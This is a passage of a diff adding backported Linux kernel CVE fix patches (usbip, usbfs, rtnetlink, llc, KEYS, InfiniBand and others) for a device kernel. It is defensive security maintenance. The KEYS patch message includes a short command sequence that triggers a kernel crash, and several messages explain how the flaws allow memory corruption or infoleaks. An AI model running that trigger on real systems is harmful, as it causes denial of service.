@@ int32_t msm_camera_cci_i2c_write_seq(struct msm_camera_i2c_client *client, + int32_t rc = -EFAULT; + uint8_t i = 0; + struct msm_camera_cci_ctrl cci_ctrl; +- struct msm_camera_i2c_reg_array reg_conf_tbl[num_byte]; ++ struct msm_camera_i2c_reg_array *reg_conf_tbl = NULL; + + if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR + && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) + || num_byte == 0) + return rc; + +- S_I2C_DBG("%s reg addr = 0x%x num bytes: %d\n", +- __func__, addr, num_byte); +- memset(reg_conf_tbl, 0, +- num_byte * sizeof(struct msm_camera_i2c_reg_array)); +- reg_conf_tbl[0].reg_addr = addr; + if (num_byte > I2C_SEQ_REG_DATA_MAX) { + pr_err("%s: num_byte=%d clamped to max supported %d\n", + __func__, num_byte, I2C_SEQ_REG_DATA_MAX); +- num_byte = I2C_SEQ_REG_DATA_MAX; ++ return rc; + } ++ ++ S_I2C_DBG("%s reg addr = 0x%x num bytes: %d\n", ++ __func__, addr, num_byte); ++ ++ reg_conf_tbl = kzalloc(num_byte * ++ (sizeof(struct msm_camera_i2c_reg_array)), GFP_KERNEL); ++ if (!reg_conf_tbl) { ++ pr_err("%s:%d no memory\n", __func__, __LINE__); ++ return -ENOMEM; ++ } ++ ++ reg_conf_tbl[0].reg_addr = addr; + for (i = 0; i < num_byte; i++) { + reg_conf_tbl[i].reg_data = data[i]; + reg_conf_tbl[i].delay = 0; +@@ -169,6 +176,8 @@ int32_t msm_camera_cci_i2c_write_seq(struct msm_camera_i2c_client *client, + core, ioctl, VIDIOC_MSM_CCI_CFG, &cci_ctrl); + CDBG("%s line %d rc = %d\n", __func__, __LINE__, rc); + rc = cci_ctrl.status; ++ kfree(reg_conf_tbl); ++ reg_conf_tbl = NULL; + return rc; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0247-467c81f9736b-msm mdss Fix to validate data copied from user space.patch b/recipes-kernel/linux/linux-bass/autopatcher/0247-467c81f9736b-msm mdss Fix to validate data copied from user space.patch new file mode 100644 index 0000000..6b340a0 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0247-467c81f9736b-msm mdss Fix to validate data copied from user space.patch @@ -0,0 +1,48 @@ +From 467c81f9736b1ebc8d4ba70f9221bba02425ca10 Mon Sep 17 00:00:00 2001 +From: Shalini Krishnamoorthi +Date: Tue, 2 Aug 2016 10:29:00 -0700 +Subject: msm: mdss: Fix to validate data copied from user space + +The overlay zorder values copied from user space are used +as index in left_lm_zo_cnt and right_lm_zo_cnt. This fix +will validate the overlay zorder value copied from user +space to not go beyond MDSS_MDP_MAX_STAGE, thus preventing +any arbitrary increments in kernel memory. + +CRs-Fixed: 1049232 +Change-Id: Ie8e65ce9f58cb357204bfa4c6a6e0fccec82d5ba +Signed-off-by: Shalini Krishnamoorthi +--- + drivers/video/msm/mdss/mdss_mdp_overlay.c | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +diff --git a/drivers/video/msm/mdss/mdss_mdp_overlay.c b/drivers/video/msm/mdss/mdss_mdp_overlay.c +index 2024bd4..e8a91cf 100644 +--- a/drivers/video/msm/mdss/mdss_mdp_overlay.c ++++ b/drivers/video/msm/mdss/mdss_mdp_overlay.c +@@ -4070,16 +4070,20 @@ static int __mdss_overlay_src_split_sort(struct msm_fb_data_type *mfd, + __overlay_swap_func); + + for (i = 0; i < num_ovs; i++) { ++ if (ovs[i].z_order >= MDSS_MDP_MAX_STAGE) { ++ pr_err("invalid stage:%u\n", ovs[i].z_order); ++ return -EINVAL; ++ } + if (ovs[i].dst_rect.x < left_lm_w) { + if (left_lm_zo_cnt[ovs[i].z_order] == 2) { +- pr_err("more than 2 ov @ stage%d on left lm\n", ++ pr_err("more than 2 ov @ stage%u on left lm\n", + ovs[i].z_order); + return -EINVAL; + } + left_lm_zo_cnt[ovs[i].z_order]++; + } else { + if (right_lm_zo_cnt[ovs[i].z_order] == 2) { +- pr_err("more than 2 ov @ stage%d on right lm\n", ++ pr_err("more than 2 ov @ stage%u on right lm\n", + ovs[i].z_order); + return -EINVAL; + } +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0248-82365cf60736-cdcncm do not call usbnetlinkchange from cdcncmbind.patch b/recipes-kernel/linux/linux-bass/autopatcher/0248-82365cf60736-cdcncm do not call usbnetlinkchange from cdcncmbind.patch new file mode 100644 index 0000000..2dcb023 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0248-82365cf60736-cdcncm do not call usbnetlinkchange from cdcncmbind.patch @@ -0,0 +1,93 @@ +From 82365cf607366c401a29bd19a4b0fb30783b1691 Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Bj=C3=83=C2=B8rn=20Mork?= +Date: Fri, 15 Jul 2016 15:08:16 -0400 +Subject: cdc_ncm: do not call usbnet_link_change from cdc_ncm_bind +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit 4d06dd537f95683aba3651098ae288b7cbff8274 upstream. + +usbnet_link_change will call schedule_work and should be +avoided if bind is failing. Otherwise we will end up with +scheduled work referring to a netdev which has gone away. + +Instead of making the call conditional, we can just defer +it to usbnet_probe, using the driver_info flag made for +this purpose. + +CVE-2016-3951 + +Fixes: 8a34b0ae8778 ("usbnet: cdc_ncm: apply usbnet_link_change") +Reported-by: Andrey Konovalov +Suggested-by: Linus Torvalds +Signed-off-by: Bjørn Mork +Signed-off-by: David S. Miller +[ciwillia@brocade.com: backported to 3.10: adjusted context] +Signed-off-by: Charles (Chas) Williams +Signed-off-by: Willy Tarreau +--- + drivers/net/usb/cdc_ncm.c | 20 +++++--------------- + 1 file changed, 5 insertions(+), 15 deletions(-) + +diff --git a/drivers/net/usb/cdc_ncm.c b/drivers/net/usb/cdc_ncm.c +index 74581cbcafa7..6ee9665e20b2 100644 +--- a/drivers/net/usb/cdc_ncm.c ++++ b/drivers/net/usb/cdc_ncm.c +@@ -598,24 +598,13 @@ EXPORT_SYMBOL_GPL(cdc_ncm_select_altsetting); + + static int cdc_ncm_bind(struct usbnet *dev, struct usb_interface *intf) + { +- int ret; +- + /* MBIM backwards compatible function? */ + cdc_ncm_select_altsetting(dev, intf); + if (cdc_ncm_comm_intf_is_mbim(intf->cur_altsetting)) + return -ENODEV; + + /* NCM data altsetting is always 1 */ +- ret = cdc_ncm_bind_common(dev, intf, 1); +- +- /* +- * We should get an event when network connection is "connected" or +- * "disconnected". Set network connection in "disconnected" state +- * (carrier is OFF) during attach, so the IP network stack does not +- * start IPv6 negotiation and more. +- */ +- usbnet_link_change(dev, 0, 0); +- return ret; ++ return cdc_ncm_bind_common(dev, intf, 1); + } + + static void cdc_ncm_align_tail(struct sk_buff *skb, size_t modulus, size_t remainder, size_t max) +@@ -1161,7 +1150,8 @@ static void cdc_ncm_disconnect(struct usb_interface *intf) + + static const struct driver_info cdc_ncm_info = { + .description = "CDC NCM", +- .flags = FLAG_POINTTOPOINT | FLAG_NO_SETINT | FLAG_MULTI_PACKET, ++ .flags = FLAG_POINTTOPOINT | FLAG_NO_SETINT | FLAG_MULTI_PACKET ++ | FLAG_LINK_INTR, + .bind = cdc_ncm_bind, + .unbind = cdc_ncm_unbind, + .check_connect = cdc_ncm_check_connect, +@@ -1175,7 +1165,7 @@ static const struct driver_info cdc_ncm_info = { + static const struct driver_info wwan_info = { + .description = "Mobile Broadband Network Device", + .flags = FLAG_POINTTOPOINT | FLAG_NO_SETINT | FLAG_MULTI_PACKET +- | FLAG_WWAN, ++ | FLAG_LINK_INTR | FLAG_WWAN, + .bind = cdc_ncm_bind, + .unbind = cdc_ncm_unbind, + .check_connect = cdc_ncm_check_connect, +@@ -1189,7 +1179,7 @@ static const struct driver_info wwan_info = { + static const struct driver_info wwan_noarp_info = { + .description = "Mobile Broadband Network Device (NO ARP)", + .flags = FLAG_POINTTOPOINT | FLAG_NO_SETINT | FLAG_MULTI_PACKET +- | FLAG_WWAN | FLAG_NOARP, ++ | FLAG_LINK_INTR | FLAG_WWAN | FLAG_NOARP, + .bind = cdc_ncm_bind, + .unbind = cdc_ncm_unbind, + .check_connect = cdc_ncm_check_connect, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0249-cfa74bdc3260-usbnet cleanup after bind in probe.patch b/recipes-kernel/linux/linux-bass/autopatcher/0249-cfa74bdc3260-usbnet cleanup after bind in probe.patch new file mode 100644 index 0000000..9f1ae87 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0249-cfa74bdc3260-usbnet cleanup after bind in probe.patch @@ -0,0 +1,42 @@ +From cfa74bdc32606cbcca59635f47e6069980cc1202 Mon Sep 17 00:00:00 2001 +From: Oliver Neukum +Date: Mon, 7 Mar 2016 11:31:10 +0100 +Subject: usbnet: cleanup after bind() in probe() + +commit 1666984c8625b3db19a9abc298931d35ab7bc64b upstream. + +In case bind() works, but a later error forces bailing +in probe() in error cases work and a timer may be scheduled. +They must be killed. This fixes an error case related to +the double free reported in +http://www.spinics.net/lists/netdev/msg367669.html +and needs to go on top of Linus' fix to cdc-ncm. + +Signed-off-by: Oliver Neukum +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + drivers/net/usb/usbnet.c | 7 +++++++ + 1 file changed, 7 insertions(+) + +diff --git a/drivers/net/usb/usbnet.c b/drivers/net/usb/usbnet.c +index fb068ada0c5a..2255d8965037 100644 +--- a/drivers/net/usb/usbnet.c ++++ b/drivers/net/usb/usbnet.c +@@ -1622,6 +1622,13 @@ out3: + if (info->unbind) + info->unbind (dev, udev); + out1: ++ /* subdrivers must undo all they did in bind() if they ++ * fail it, but we may fail later and a deferred kevent ++ * may trigger an error resubmitting itself and, worse, ++ * schedule a timer. So we kill it all just in case. ++ */ ++ cancel_work_sync(&dev->kevent); ++ del_timer_sync(&dev->delay); + free_netdev(net); + out: + return status; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0250-378175d0ac88-USB usbip fix potential outofbounds write.patch b/recipes-kernel/linux/linux-bass/autopatcher/0250-378175d0ac88-USB usbip fix potential outofbounds write.patch new file mode 100644 index 0000000..a932d49 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0250-378175d0ac88-USB usbip fix potential outofbounds write.patch @@ -0,0 +1,50 @@ +From 378175d0ac887f3fb4b8644152f05ccccff7e8d2 Mon Sep 17 00:00:00 2001 +From: Ignat Korchagin +Date: Thu, 17 Mar 2016 18:00:29 +0000 +Subject: USB: usbip: fix potential out-of-bounds write + +commit b348d7dddb6c4fbfc810b7a0626e8ec9e29f7cbb upstream. + +Fix potential out-of-bounds write to urb->transfer_buffer +usbip handles network communication directly in the kernel. When receiving a +packet from its peer, usbip code parses headers according to protocol. As +part of this parsing urb->actual_length is filled. Since the input for +urb->actual_length comes from the network, it should be treated as untrusted. +Any entity controlling the network may put any value in the input and the +preallocated urb->transfer_buffer may not be large enough to hold the data. +Thus, the malicious entity is able to write arbitrary data to kernel memory. + +Signed-off-by: Ignat Korchagin +Cc: Sasha Levin +Signed-off-by: Paul Gortmaker +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Willy Tarreau +--- + drivers/staging/usbip/usbip_common.c | 11 +++++++++++ + 1 file changed, 11 insertions(+) + +diff --git a/drivers/staging/usbip/usbip_common.c b/drivers/staging/usbip/usbip_common.c +index 7b97df6f2a42..b4f237e55931 100644 +--- a/drivers/staging/usbip/usbip_common.c ++++ b/drivers/staging/usbip/usbip_common.c +@@ -784,6 +784,17 @@ int usbip_recv_xbuff(struct usbip_device *ud, struct urb *urb) + if (!(size > 0)) + return 0; + ++ if (size > urb->transfer_buffer_length) { ++ /* should not happen, probably malicious packet */ ++ if (ud->side == USBIP_STUB) { ++ usbip_event_add(ud, SDEV_EVENT_ERROR_TCP); ++ return 0; ++ } else { ++ usbip_event_add(ud, VDEV_EVENT_ERROR_TCP); ++ return -EPIPE; ++ } ++ } ++ + ret = usbip_recv(ud->tcp_socket, urb->transfer_buffer, size); + if (ret != size) { + dev_err(&urb->dev->dev, "recv xbuf, %d\n", ret); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0251-0679df0fff34-x86mmxen Suppress hugetlbfs in PV guests.patch b/recipes-kernel/linux/linux-bass/autopatcher/0251-0679df0fff34-x86mmxen Suppress hugetlbfs in PV guests.patch new file mode 100644 index 0000000..dc9f9cc --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0251-0679df0fff34-x86mmxen Suppress hugetlbfs in PV guests.patch @@ -0,0 +1,74 @@ +From 0679df0fff349dd7e8d3d7fb3e162bdf6949c873 Mon Sep 17 00:00:00 2001 +From: Jan Beulich +Date: Thu, 21 Apr 2016 00:27:04 -0600 +Subject: x86/mm/xen: Suppress hugetlbfs in PV guests + +commit 103f6112f253017d7062cd74d17f4a514ed4485c upstream. + +Huge pages are not normally available to PV guests. Not suppressing +hugetlbfs use results in an endless loop of page faults when user mode +code tries to access a hugetlbfs mapped area (since the hypervisor +denies such PTEs to be created, but error indications can't be +propagated out of xen_set_pte_at(), just like for various of its +siblings), and - once killed in an oops like this: + + kernel BUG at .../fs/hugetlbfs/inode.c:428! + invalid opcode: 0000 [#1] SMP + ... + RIP: e030:[] [] remove_inode_hugepages+0x25b/0x320 + ... + Call Trace: + [] hugetlbfs_evict_inode+0x15/0x40 + [] evict+0xbd/0x1b0 + [] __dentry_kill+0x19a/0x1f0 + [] dput+0x1fe/0x220 + [] __fput+0x155/0x200 + [] task_work_run+0x60/0xa0 + [] do_exit+0x160/0x400 + [] do_group_exit+0x3b/0xa0 + [] get_signal+0x1ed/0x470 + [] do_signal+0x14/0x110 + [] prepare_exit_to_usermode+0xe9/0xf0 + [] retint_user+0x8/0x13 + +This is CVE-2016-3961 / XSA-174. + +Reported-by: Vitaly Kuznetsov +Signed-off-by: Jan Beulich +Cc: Andrew Morton +Cc: Andy Lutomirski +Cc: Boris Ostrovsky +Cc: Borislav Petkov +Cc: Brian Gerst +Cc: David Vrabel +Cc: Denys Vlasenko +Cc: H. Peter Anvin +Cc: Juergen Gross +Cc: Linus Torvalds +Cc: Luis R. Rodriguez +Cc: Peter Zijlstra +Cc: Thomas Gleixner +Cc: Toshi Kani +Cc: xen-devel +Link: http://lkml.kernel.org/r/57188ED802000078000E431C@prv-mh.provo.novell.com +Signed-off-by: Ingo Molnar +Signed-off-by: Willy Tarreau +--- + arch/x86/include/asm/hugetlb.h | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h +index 68c05398bba9..7aadd3cea843 100644 +--- a/arch/x86/include/asm/hugetlb.h ++++ b/arch/x86/include/asm/hugetlb.h +@@ -4,6 +4,7 @@ + #include + #include + ++#define hugepages_supported() cpu_has_pse + + static inline int is_hugepage_only_range(struct mm_struct *mm, + unsigned long addr, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0252-273e07f96b37-KEYS potential uninitialized variable.patch b/recipes-kernel/linux/linux-bass/autopatcher/0252-273e07f96b37-KEYS potential uninitialized variable.patch new file mode 100644 index 0000000..f5e67ed --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0252-273e07f96b37-KEYS potential uninitialized variable.patch @@ -0,0 +1,98 @@ +From 273e07f96b37bb9ee3594ce2dfe07b2a9608f941 Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Fri, 15 Jul 2016 15:08:17 -0400 +Subject: KEYS: potential uninitialized variable + +commit 38327424b40bcebe2de92d07312c89360ac9229a upstream. + +If __key_link_begin() failed then "edit" would be uninitialized. I've +added a check to fix that. + +This allows a random user to crash the kernel, though it's quite +difficult to achieve. There are three ways it can be done as the user +would have to cause an error to occur in __key_link(): + + (1) Cause the kernel to run out of memory. In practice, this is difficult + to achieve without ENOMEM cropping up elsewhere and aborting the + attempt. + + (2) Revoke the destination keyring between the keyring ID being looked up + and it being tested for revocation. In practice, this is difficult to + time correctly because the KEYCTL_REJECT function can only be used + from the request-key upcall process. Further, users can only make use + of what's in /sbin/request-key.conf, though this does including a + rejection debugging test - which means that the destination keyring + has to be the caller's session keyring in practice. + + (3) Have just enough key quota available to create a key, a new session + keyring for the upcall and a link in the session keyring, but not then + sufficient quota to create a link in the nominated destination keyring + so that it fails with EDQUOT. + +The bug can be triggered using option (3) above using something like the +following: + + echo 80 >/proc/sys/kernel/keys/root_maxbytes + keyctl request2 user debug:fred negate @t + +The above sets the quota to something much lower (80) to make the bug +easier to trigger, but this is dependent on the system. Note also that +the name of the keyring created contains a random number that may be +between 1 and 10 characters in size, so may throw the test off by +changing the amount of quota used. + +Assuming the failure occurs, something like the following will be seen: + + kfree_debugcheck: out of range ptr 6b6b6b6b6b6b6b68h + ------------[ cut here ]------------ + kernel BUG at ../mm/slab.c:2821! + ... + RIP: 0010:[] kfree_debugcheck+0x20/0x25 + RSP: 0018:ffff8804014a7de8 EFLAGS: 00010092 + RAX: 0000000000000034 RBX: 6b6b6b6b6b6b6b68 RCX: 0000000000000000 + RDX: 0000000000040001 RSI: 00000000000000f6 RDI: 0000000000000300 + RBP: ffff8804014a7df0 R08: 0000000000000001 R09: 0000000000000000 + R10: ffff8804014a7e68 R11: 0000000000000054 R12: 0000000000000202 + R13: ffffffff81318a66 R14: 0000000000000000 R15: 0000000000000001 + ... + Call Trace: + kfree+0xde/0x1bc + assoc_array_cancel_edit+0x1f/0x36 + __key_link_end+0x55/0x63 + key_reject_and_link+0x124/0x155 + keyctl_reject_key+0xb6/0xe0 + keyctl_negate_key+0x10/0x12 + SyS_keyctl+0x9f/0xe7 + do_syscall_64+0x63/0x13a + entry_SYSCALL64_slow_path+0x25/0x25 + +CVE-2016-4470 + +Fixes: f70e2e06196a ('KEYS: Do preallocation for __key_link()') +Signed-off-by: Dan Carpenter +Signed-off-by: David Howells +cc: stable@vger.kernel.org +Signed-off-by: Linus Torvalds +[ciwillia@brocade.com: backported to 3.10: adjusted context] +Signed-off-by: Charles (Chas) Williams +Signed-off-by: Willy Tarreau +--- + security/keys/key.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/security/keys/key.c b/security/keys/key.c +index 8fb7c7bd46576..6595b2dd89fe4 100644 +--- a/security/keys/key.c ++++ b/security/keys/key.c +@@ -580,7 +580,7 @@ int key_reject_and_link(struct key *key, + + mutex_unlock(&key_construction_mutex); + +- if (keyring) ++ if (keyring && link_ret == 0) + __key_link_end(keyring, key->type, prealloc); + + /* wake up anyone waiting for a key to be constructed */ +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0253-ba3904ee86cb-USB usbfs fix potential infoleak in devio.patch b/recipes-kernel/linux/linux-bass/autopatcher/0253-ba3904ee86cb-USB usbfs fix potential infoleak in devio.patch new file mode 100644 index 0000000..7814065 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0253-ba3904ee86cb-USB usbfs fix potential infoleak in devio.patch @@ -0,0 +1,45 @@ +From ba3904ee86cb7072c2435883421b165dc1684bce Mon Sep 17 00:00:00 2001 +From: Kangjie Lu +Date: Fri, 15 Jul 2016 15:08:18 -0400 +Subject: USB: usbfs: fix potential infoleak in devio + +commit 681fef8380eb818c0b845fca5d2ab1dcbab114ee upstream. + +The stack object "ci" has a total size of 8 bytes. Its last 3 bytes +are padding bytes which are not initialized and leaked to userland +via "copy_to_user". + +CVE-2016-4482 + +Signed-off-by: Kangjie Lu +Signed-off-by: Greg Kroah-Hartman +[ciwillia@brocade.com: backported to 3.10: adjusted context] +Signed-off-by: Charles (Chas) Williams +Signed-off-by: Willy Tarreau +--- + drivers/usb/core/devio.c | 9 +++++---- + 1 file changed, 5 insertions(+), 4 deletions(-) + +diff --git a/drivers/usb/core/devio.c b/drivers/usb/core/devio.c +index 62e532fb82ad..cfce807531f6 100644 +--- a/drivers/usb/core/devio.c ++++ b/drivers/usb/core/devio.c +@@ -1106,10 +1106,11 @@ static int proc_getdriver(struct dev_state *ps, void __user *arg) + + static int proc_connectinfo(struct dev_state *ps, void __user *arg) + { +- struct usbdevfs_connectinfo ci = { +- .devnum = ps->dev->devnum, +- .slow = ps->dev->speed == USB_SPEED_LOW +- }; ++ struct usbdevfs_connectinfo ci; ++ ++ memset(&ci, 0, sizeof(ci)); ++ ci.devnum = ps->dev->devnum; ++ ci.slow = ps->dev->speed == USB_SPEED_LOW; + + if (copy_to_user(arg, &ci, sizeof(ci))) + return -EFAULT; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0254-44efbfab13ad-net fix infoleak in llc.patch b/recipes-kernel/linux/linux-bass/autopatcher/0254-44efbfab13ad-net fix infoleak in llc.patch new file mode 100644 index 0000000..6ebf10e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0254-44efbfab13ad-net fix infoleak in llc.patch @@ -0,0 +1,35 @@ +From 44efbfab13ad589048ebe2a914c58cdcfc9d84fb Mon Sep 17 00:00:00 2001 +From: Kangjie Lu +Date: Tue, 3 May 2016 16:35:05 -0400 +Subject: net: fix infoleak in llc +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit b8670c09f37bdf2847cc44f36511a53afc6161fd upstream. + +The stack object “info” has a total size of 12 bytes. Its last byte +is padding which is not initialized and leaked via “put_cmsg”. + +Signed-off-by: Kangjie Lu +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + net/llc/af_llc.c | 1 + + 1 file changed, 1 insertion(+) + +diff --git a/net/llc/af_llc.c b/net/llc/af_llc.c +index c3ee80547066..9d140594082c 100644 +--- a/net/llc/af_llc.c ++++ b/net/llc/af_llc.c +@@ -626,6 +626,7 @@ static void llc_cmsg_rcv(struct msghdr *msg, struct sk_buff *skb) + if (llc->cmsg_flags & LLC_CMSG_PKTINFO) { + struct llc_pktinfo info; + ++ memset(&info, 0, sizeof(info)); + info.lpi_ifindex = llc_sk(skb->sk)->dev->ifindex; + llc_pdu_decode_dsap(skb, &info.lpi_sap); + llc_pdu_decode_da(skb, info.lpi_mac); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0255-f9d691421747-net fix infoleak in rtnetlink.patch b/recipes-kernel/linux/linux-bass/autopatcher/0255-f9d691421747-net fix infoleak in rtnetlink.patch new file mode 100644 index 0000000..5d44ff3 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0255-f9d691421747-net fix infoleak in rtnetlink.patch @@ -0,0 +1,54 @@ +From f9d691421747048d814785136d187595483bab4a Mon Sep 17 00:00:00 2001 +From: Kangjie Lu +Date: Tue, 3 May 2016 16:46:24 -0400 +Subject: net: fix infoleak in rtnetlink +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +commit 5f8e44741f9f216e33736ea4ec65ca9ac03036e6 upstream. + +The stack object “map” has a total size of 32 bytes. Its last 4 +bytes are padding generated by compiler. These padding bytes are +not initialized and sent out via “nla_put”. + +Signed-off-by: Kangjie Lu +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +Signed-off-by: Willy Tarreau +--- + net/core/rtnetlink.c | 18 ++++++++++-------- + 1 file changed, 10 insertions(+), 8 deletions(-) + +diff --git a/net/core/rtnetlink.c b/net/core/rtnetlink.c +index a67310e00b3f..602c6d0492e2 100644 +--- a/net/core/rtnetlink.c ++++ b/net/core/rtnetlink.c +@@ -899,14 +899,16 @@ static int rtnl_fill_ifinfo(struct sk_buff *skb, struct net_device *dev, + goto nla_put_failure; + + if (1) { +- struct rtnl_link_ifmap map = { +- .mem_start = dev->mem_start, +- .mem_end = dev->mem_end, +- .base_addr = dev->base_addr, +- .irq = dev->irq, +- .dma = dev->dma, +- .port = dev->if_port, +- }; ++ struct rtnl_link_ifmap map; ++ ++ memset(&map, 0, sizeof(map)); ++ map.mem_start = dev->mem_start; ++ map.mem_end = dev->mem_end; ++ map.base_addr = dev->base_addr; ++ map.irq = dev->irq; ++ map.dma = dev->dma; ++ map.port = dev->if_port; ++ + if (nla_put(skb, IFLA_MAP, sizeof(map), &map)) + goto nla_put_failure; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0256-55ac348c6481-IBsecurity Restrict use of the write interface.patch b/recipes-kernel/linux/linux-bass/autopatcher/0256-55ac348c6481-IBsecurity Restrict use of the write interface.patch new file mode 100644 index 0000000..8ac9a22 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0256-55ac348c6481-IBsecurity Restrict use of the write interface.patch @@ -0,0 +1,195 @@ +From 55ac348c6481882218cc2ba6713bc8fb972dcf3d Mon Sep 17 00:00:00 2001 +From: Jason Gunthorpe +Date: Sun, 10 Apr 2016 19:13:13 -0600 +Subject: IB/security: Restrict use of the write() interface + +commit e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3 upstream. + +The drivers/infiniband stack uses write() as a replacement for +bi-directional ioctl(). This is not safe. There are ways to +trigger write calls that result in the return structure that +is normally written to user space being shunted off to user +specified kernel memory instead. + +For the immediate repair, detect and deny suspicious accesses to +the write API. + +For long term, update the user space libraries and the kernel API +to something that doesn't present the same security vulnerabilities +(likely a structured ioctl() interface). + +The impacted uAPI interfaces are generally only available if +hardware from drivers/infiniband is installed in the system. + +Reported-by: Jann Horn +Signed-off-by: Linus Torvalds +Signed-off-by: Jason Gunthorpe +[ Expanded check to all known write() entry points ] +Cc: stable@vger.kernel.org +Signed-off-by: Doug Ledford +[wt: no hfi1 subdir in 3.10. A minimal rdma/ib.h had to be created + from 3.11 sources to keep the code similar to mainline] + +Signed-off-by: Willy Tarreau +--- + drivers/infiniband/core/ucm.c | 4 +++ + drivers/infiniband/core/ucma.c | 4 +++ + drivers/infiniband/core/uverbs_main.c | 5 +++ + drivers/infiniband/hw/qib/qib_file_ops.c | 5 +++ + include/rdma/ib.h | 54 ++++++++++++++++++++++++++++++++ + 5 files changed, 72 insertions(+) + create mode 100644 include/rdma/ib.h + +diff --git a/drivers/infiniband/core/ucm.c b/drivers/infiniband/core/ucm.c +index f2f63933e8a9..5befec118a18 100644 +--- a/drivers/infiniband/core/ucm.c ++++ b/drivers/infiniband/core/ucm.c +@@ -48,6 +48,7 @@ + + #include + ++#include + #include + #include + #include +@@ -1104,6 +1105,9 @@ static ssize_t ib_ucm_write(struct file *filp, const char __user *buf, + struct ib_ucm_cmd_hdr hdr; + ssize_t result; + ++ if (WARN_ON_ONCE(!ib_safe_file_access(filp))) ++ return -EACCES; ++ + if (len < sizeof(hdr)) + return -EINVAL; + +diff --git a/drivers/infiniband/core/ucma.c b/drivers/infiniband/core/ucma.c +index 5ca44cd9b00c..99f1c170770f 100644 +--- a/drivers/infiniband/core/ucma.c ++++ b/drivers/infiniband/core/ucma.c +@@ -43,6 +43,7 @@ + #include + #include + ++#include + #include + #include + #include +@@ -1249,6 +1250,9 @@ static ssize_t ucma_write(struct file *filp, const char __user *buf, + struct rdma_ucm_cmd_hdr hdr; + ssize_t ret; + ++ if (WARN_ON_ONCE(!ib_safe_file_access(filp))) ++ return -EACCES; ++ + if (len < sizeof(hdr)) + return -EINVAL; + +diff --git a/drivers/infiniband/core/uverbs_main.c b/drivers/infiniband/core/uverbs_main.c +index b6062b9236a2..f50623d07a75 100644 +--- a/drivers/infiniband/core/uverbs_main.c ++++ b/drivers/infiniband/core/uverbs_main.c +@@ -48,6 +48,8 @@ + + #include + ++#include ++ + #include "uverbs.h" + + MODULE_AUTHOR("Roland Dreier"); +@@ -588,6 +590,9 @@ static ssize_t ib_uverbs_write(struct file *filp, const char __user *buf, + struct ib_uverbs_file *file = filp->private_data; + struct ib_uverbs_cmd_hdr hdr; + ++ if (WARN_ON_ONCE(!ib_safe_file_access(filp))) ++ return -EACCES; ++ + if (count < sizeof hdr) + return -EINVAL; + +diff --git a/drivers/infiniband/hw/qib/qib_file_ops.c b/drivers/infiniband/hw/qib/qib_file_ops.c +index b56c9428f3c5..8cb29b36c82a 100644 +--- a/drivers/infiniband/hw/qib/qib_file_ops.c ++++ b/drivers/infiniband/hw/qib/qib_file_ops.c +@@ -45,6 +45,8 @@ + #include + #include + ++#include ++ + #include "qib.h" + #include "qib_common.h" + #include "qib_user_sdma.h" +@@ -1977,6 +1979,9 @@ static ssize_t qib_write(struct file *fp, const char __user *data, + ssize_t ret = 0; + void *dest; + ++ if (WARN_ON_ONCE(!ib_safe_file_access(fp))) ++ return -EACCES; ++ + if (count < sizeof(cmd.type)) { + ret = -EINVAL; + goto bail; +diff --git a/include/rdma/ib.h b/include/rdma/ib.h +new file mode 100644 +index 000000000000..f09331ad0aba +--- /dev/null ++++ b/include/rdma/ib.h +@@ -0,0 +1,54 @@ ++/* ++ * Copyright (c) 2010 Intel Corporation. All rights reserved. ++ * ++ * This software is available to you under a choice of one of two ++ * licenses. You may choose to be licensed under the terms of the GNU ++ * General Public License (GPL) Version 2, available from the file ++ * COPYING in the main directory of this source tree, or the ++ * OpenIB.org BSD license below: ++ * ++ * Redistribution and use in source and binary forms, with or ++ * without modification, are permitted provided that the following ++ * conditions are met: ++ * ++ * - Redistributions of source code must retain the above ++ * copyright notice, this list of conditions and the following ++ * disclaimer. ++ * ++ * - Redistributions in binary form must reproduce the above ++ * copyright notice, this list of conditions and the following ++ * disclaimer in the documentation and/or other materials ++ * provided with the distribution. ++ 